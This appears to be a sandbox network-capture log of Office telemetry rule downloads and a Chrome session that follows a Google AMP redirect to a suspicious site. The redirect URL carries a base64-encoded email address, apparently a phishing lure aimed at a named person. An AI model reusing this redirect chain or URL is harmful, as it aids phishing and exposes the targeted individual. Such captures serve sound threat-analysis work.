2024-11-20 09:20:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.9	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:00 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:00 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 53f81142-401e-0064-400e-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092000Z-r1d97b995774n5h6hC1TEBvf8400000008gg00000000fe2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 09:20:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.9	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:00 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:00 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092000Z-r1d97b99577hc74hhC1TEBvbns00000008fg000000009mfr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:00 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.9	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:00 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:00 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 16a2fbdb-801e-002a-4d23-3b31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092000Z-r1d97b9957747b9jhC1TEBgyec00000008v0000000002pm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 09:20:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49743	142.250.186.131	443	5900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:01 UTC	898	OUT	GET /url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20= HTTP/1.1 Host: www.google.ca Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIkqHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 09:20:01 UTC	1033	IN	HTTP/1.1 302 Found Location: https://www.google.ca/amp/s/estudioit.cl/starl/#YW5nZWxhLmhvZGdzb25AMnNmZy5jb20= Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-fRHeQfwjFbX3V3ApBmH0Tg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Wed, 20 Nov 2024 09:20:01 GMT Server: gws Content-Length: 277 X-XSS-Protection: 0 Set-Cookie: NID=519=S9ac-TH5b0pmGaWhddT0EE3FFrbwGuVp-P7aKhd5v_cNc1Vcq-gZb4wwczwiUKvUYZQ_u6UjJHngSfOGiyyZkuo7ogSsMIzJbBRzlIubLSk5iyNcX0r6R5HAQgwAGxEui5kKQthdyHyojc9z0s2HXr2zzCWvYF3ziveY-udZKQ9IAc7nm2l7y4WGTeZgYE8; expires=Thu, 22-May-2025 09:20:01 GMT; path=/; domain=.google.ca; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-20 09:20:01 UTC	277	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 61 2f 61 6d 70 2f 73 2f 65 73 74 75 64 69 6f 69 74 2e 63 6c 2f 73 74 61 72 6c 2f 23 59 57 35 6e 5a 57 78 68 4c 6d 68 76 5a 47 64 7a 62 32 35 41 4d 6e 4e 6d 5a 79 35 6a 62 32 30 3d 22 3e 68 65 72 65 3c Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.ca/amp/s/estudioit.cl/starl/#YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=">here<

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.9	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:01 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:01 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092001Z-185f5d8b95cdtclvhC1NYC4rmc0000000a2g00000000fu6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:01 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.9	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:01 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092001Z-1777c6cb754whff4hC1TEBcd6c000000080g0000000092ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.9	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:01 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092001Z-1777c6cb7544n7p6hC1TEByvb400000009k0000000005814 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.9	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:01 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092001Z-185f5d8b95csp6jmhC1NYCwy6s0000000a1g000000002zep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.9	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:01 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:01 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092001Z-185f5d8b95cqnkdjhC1NYCm8w800000009y000000000455y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:01 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	49742	142.250.186.131	443	5900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:01 UTC	1023	OUT	GET /amp/s/estudioit.cl/starl/ HTTP/1.1 Host: www.google.ca Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIkqHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=S9ac-TH5b0pmGaWhddT0EE3FFrbwGuVp-P7aKhd5v_cNc1Vcq-gZb4wwczwiUKvUYZQ_u6UjJHngSfOGiyyZkuo7ogSsMIzJbBRzlIubLSk5iyNcX0r6R5HAQgwAGxEui5kKQthdyHyojc9z0s2HXr2zzCWvYF3ziveY-udZKQ9IAc7nm2l7y4WGTeZgYE8
2024-11-20 09:20:01 UTC	796	IN	HTTP/1.1 302 Found Location: https://estudioit.cl/starl/ Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-7orugU07FRnV9tyAJAKUFg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Wed, 20 Nov 2024 09:20:01 GMT Server: gws Content-Length: 224 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-20 09:20:01 UTC	224	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 65 73 74 75 64 69 6f 69 74 2e 63 6c 2f 73 74 61 72 6c 2f 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://estudioit.cl/starl/">here</A>.</BODY></HTML>

